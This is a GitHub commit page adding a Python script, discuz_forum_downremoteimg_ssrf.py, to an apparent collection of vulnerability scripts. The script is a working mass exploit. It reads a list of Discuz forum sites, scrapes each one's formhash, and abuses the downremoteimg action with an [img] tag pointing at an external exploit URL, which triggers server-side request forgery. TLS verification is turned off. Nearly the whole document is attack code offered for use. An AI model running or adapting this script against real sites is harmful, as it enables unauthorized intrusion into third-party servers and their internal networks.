forked from CaiJiJi/VulScritp
-
Notifications
You must be signed in to change notification settings - Fork 71
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Create discuz_forum_downremoteimg_ssrf.py
- Loading branch information
0c0c0f
authored
Feb 25, 2017
1 parent
495a2b0
commit 854ca22
Showing
1 changed file
with
27 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
#!/usr/bin/env python | ||
# encoding: utf-8 | ||
import urlparse | ||
import random | ||
import time | ||
import re | ||
import requests | ||
#from utils.fileutils import FileUtils | ||
import requests.packages.urllib3 | ||
requests.packages.urllib3.disable_warnings() | ||
|
||
fobj = open('discuz.txt','r') | ||
for website in fobj: | ||
request = requests.session() | ||
try: | ||
forumurl = "{website}/forum.php".format(website=website) | ||
response = request.get(forumurl, timeout=5, verify=False) | ||
formhash = re.findall(r'formhash" value="(.*?)"',response.content) | ||
netloc = urlparse.urlparse(website).netloc | ||
payload = 'http://www.catssec.com/exp/exploit.php'.format(netloc=netloc) | ||
url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]".format( | ||
website=website, | ||
payload=payload) | ||
response = request.get(url, timeout=5, verify=False) | ||
#print url, len(response.content) | ||
except Exception, e: | ||
print website, e |